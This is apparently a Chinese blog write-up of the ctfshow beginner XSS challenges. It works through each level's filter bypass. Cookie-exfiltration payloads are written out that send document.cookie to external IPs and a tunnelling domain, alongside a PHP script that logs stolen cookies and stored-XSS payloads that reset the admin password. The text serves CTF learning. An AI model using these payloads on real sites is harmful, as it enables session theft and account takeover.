ctfshow_web入门 xss
额,怎么说呢,对xss理解不深刻,虽然做了XSS-LAB,但是感觉不会用,看了群主的视频,知道了原因,用群主的话来说就是,X的是自己。。。
这个文章写得比较潦草。。。
准备一个带nc的工具;
无vps
"""
牛啊牛啊!群主之前发了一个无公网IP反弹shell的视频,学到了学到了,牛啊牛啊。太牛了,群主顶呱呱。
"""
这里以web321做一个例子:
准备:kali虚拟机,花生壳。
先进行穿透,接着测试一下本地能不能连通什么的。我虚拟机的虚拟网卡需要重启一下才能够连通虚拟机。如果本地不能连通,那么就反弹不了。当然这里不需要反弹shell,只需要外带就行。
先进行本地测试:windows(本机)curl 域名,kali侦听8181端口(穿透哪个端口,就侦听哪一个)
可以看到kali能够接受到windows这边的请求。
接着就可以在题目中进行外带cookie了:
这就外带成功了。大师傅牛啊牛啊。
这种方式外带,需要等10秒
有vps就不多说了,看一看防火墙开端口,或者是安全组开端口没,关闭防火墙之后也可能别安全组挡下来(又有的叫安全策略组,叫法无所谓)。
再看看nc工具是不是需要更新一下(加一个--v参数,如果指定的参数和显示的参数不一样,就说明nc有点小毛病了)。或者是多重启几次。。。
我之前能踩的坑都踩了一遍,一天下来一个题都没做。xss全是x的自己,呜呜呜。
搜寻一波能够XSS的先
外带
<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>
<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>
<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
web 316
需要生成链接,拿到管理员的cookie;提交构造的连接,后台bot每隔10S会点击一次链接。
要注意,拿cookie要拿管理员的cookie,或者说是拿后台bot的cookie,而不是拿自己的cookie;
按照上面的那个步骤做就好了
web 317
说的是过滤了xss,所以只能够用自己的vps了
web 320
过滤空格
用tab代替,在hackbar中写入%09,利用hackbar进行urldecode
用/**/代替
web 321
不知道过滤了啥
paylaod:
<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
web 322
不知道过滤了啥,同上
web 323-6
<body/**/onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
感觉是,姿势越骚,越不容易被过滤
看了一下,Y4爷的博客,
324过滤;
325过滤.
,?但是没有感觉喃?
web 327
存储型xss;发送者和接受者都用的admin,剩余的随便,内容是:<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
拿到了flag,但是怎么就拿到了呢???
看了视频,大师傅说的是,发送者是admin就行了
web 328
在本地,不知道为啥nc拿不到数据了,所以采用写接受脚本的方式来接受cookie
<?php
$data=$_GET['data'];
$myfile=fopen('xss_flag.txt',"w") or die("unable to open file!");
fwrite($myfile,$data);
echo "done";
?>
唔,按理来讲,将花生壳的端口修改为80端口(kali用的是PHP7.3和Apache),也能够接受信息,但是虚拟机出了点问题,所以就用了vps;脚本还是不变;
解题:
注册用户名随便设置:
密码如下:
<body onload="window.open('http://121.41.2.26/x.php?data=/'+document.cookie)"></body>
或者
<script>window.location.href='http://121.41.2.26/x.php?data='+document.cookie</script>
接着登录:查看xss_flag.txt
,拿到admin的cookie
将cookie修改为admin的cookie
开启抓包,刷新界面,一步一步forward,即可看到flag
web 329
不会,思路是:执行js代码,实现页面内容的外带
web 330
想的是登录管理员的账号,由于没有密码
思路是:修改管理员密码,以管理员身份进行登录
解题:
注册:
账户名为<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>
密码:1
接着用账户<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>
登录一次,登出;
登录管理员账号:admin 密码:3(抓包防止跳转)
web 331
试了一下账号密码等地方的注入,都不行,所以抓包看一下,发现是利用post方式进行已交,那么就构造post提交的的方式。
大师傅是构造的:(从源代码中的js文件中找到的一个ajax提交)
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
bfengj师傅利用js发送了一个http请求:
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>
web 332
登录检查一遍,发现是post传参,所以依旧似是用331的payload来进行了一次提交,结果不行。于是看了大师傅的视频。
???转账-10000
随便注册登录一下,接着在转账界面,收款用户是admin
,然后付款-10000
,接着购买
web 333
盲猜是转账加过滤了332的情况。
注册账户:12,密码随便
注册账户: <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>
,密码随便
随后登录账户12,即可购买flag。
/api/amount.php <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>
总结
虽然说题是做完了,同样也了解了反射型和存储型XSS的攻击方式。反射型是生成了链接同时被后台点击,存储型这里就不太清楚了,感觉是生成了被反复执行的代码存放到了后台。同时每一次访问该界面就会触发一次。
因为做题时是看的大师傅的视频和bfengj师傅的博客,学习到了很多。
同时也被两位师傅的技术栈给震撼到。一路过来都是看的各种师傅们的博客,在做题的时候也学习到了各种方法。
所以有事没事,看看ctfshow
ctfshow_web入门 xss的更多相关文章
- 初级安全入门——XSS注入的原理与利用
XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...
- XSS扫盲到漏洞挖掘上手
复习xss ,也总结一下XSS基础的点到进阶的知识 目录 0x01 XSS扫盲入门 0x02 XSS payload构造 0x03 XSS payload变形进阶 0x01 XSS扫盲入门 XS ...
- web安全相关知识
xss攻击入门 XSS攻击及防御 XSS的原理分析与解剖 浅谈CSRF攻击方式 利用HTTP-only Cookie缓解XSS之痛 SERVLET 2.5为COOKIE配置HTTPONLY属性 coo ...
- 你所不知道的 CSS 阴影技巧与细节 滚动视差?CSS 不在话下 神奇的选择器 :focus-within 当角色转换为面试官之后 NPOI 教程 - 3.2 打印相关设置 前端XSS相关整理 委托入门案例
你所不知道的 CSS 阴影技巧与细节 关于 CSS 阴影,之前已经有写过一篇,box-shadow 与 filter:drop-shadow 详解及奇技淫巧,介绍了一些关于 box-shadow ...
- 【Web安全入门】三个技巧教你玩转XSS漏洞
XSS漏洞是Web应用程序中最常见的漏洞之一,想要入门Web安全的小伙伴,这个知识点是必学的. i春秋官网中有很多关于XSS漏洞的课程,新手小白可以去官网看课学习. 学习地址:https://www. ...
- Web安全之XSS 入门与介绍
XSS的入门与介绍 跨站攻击 XSS全称跨站脚本(Cross Site Scripting),一种注入式攻击方式. XSS成因 对于用户输入没有严格控制而直接输出到页面 对非预期输入的信任 XSS的危 ...
- xss攻击入门
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意 ...
- Web安全入门笔记-XSS
windows 10 360浏览器 0x00.概述 1.什么是 XSS Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击.攻击者通过在目标网站上注入恶意脚本,使 ...
- [前端web安全]XSS漏洞基础入门
前言 XSS漏洞 Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS ...
- 【第三篇】ASP.NET MVC快速入门之安全策略(MVC5+EF6)
目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...
随机推荐
- 老板:你为什么要选择 Vue?
大家好,我是 Kagol,Vue DevUI 开源组件库和 EditorX 富文本编辑器创建者,专注于前端组件库建设和开源社区运营. 假如你是团队的前端负责人,现在老板要拓展新业务,需要开发一个 We ...
- 【Java SE】Day10接口、多态
一.接口 1.概述 是一种引用类型,是方法的集合,内部封装了各种方法 引用类型:数组.类.接口.包装类 2.方法的定义格式 抽象方法:无方法体,子类实现 默认方法: 静态方法:static修饰,可以由 ...
- Windows下使用VSCode搭建IDA Python脚本开发环境
由于本人是VSCode的重度沉迷用户,需要写代码时总会想起这个软件,因此选择在VSCode中搭建IDA Python的开发环境 本文适用的环境如下: 1.操作系统 windows 2.Python3 ...
- Burpsuite2022.1详细图文安装教程(含工具链接)
应用概述: Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具.Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程.所有工具都共享一个请求,并能处理对应 ...
- 网络爬虫之requests模块,自动办公领域之openpyx模块
一.第三方模块的下载与使用 第三方模块:别人写的模块,一般情况下功能都特别强大 我们如果想使用第三方模块,第一次必须先下载,后面才可以反复使用(等同于内置模块) 下载第三方模块的方式 1. pi ...
- JavaScript:代码细节和良好编码习惯
这些细节,与语法无关,仅仅是编写代码时需要注意的最最基本的细节和一些良好编码习惯. 注释代码 注释代码分为单行注释和多行注释,如下所示: 严格区分大小写 JS的代码时严格区分大小写的,变量a和A是不同 ...
- day10-功能实现09
家居网购项目实现09 以下皆为部分代码,详见 https://github.com/liyuelian/furniture_mall.git 21.功能20-修改购物车 21.1需求分析/图解 进入购 ...
- LFU 的设计与实现
LFU 的设计与实现 作者:Grey 原文地址: 博客园:LFU 的设计与实现 CSDN:LFU 的设计与实现 题目描述 LFU(least frequently used).即最不经常使用页置换算法 ...
- 第七节 VOR/DME进近程序保护区的绘制
飞行程序设计软件实践 通过前面六节的练习,2023社区版插件的主要功能都已经使用到了.今天通过VOR/DME非精密进近程序,再将这些功能串起来使用一下.今天的软件,我们使用浩辰CAD2023版(过期后 ...
- for循环 rang方法
今日内容 while循环补充说明 1.死循环 真正的死循环是一旦执行 cpu的功耗急剧上升 直到系统采取紧急措施 2.嵌套及全局标志位 强调: 一个break只能结束他所在那一层的循环 如果想一次性结 ...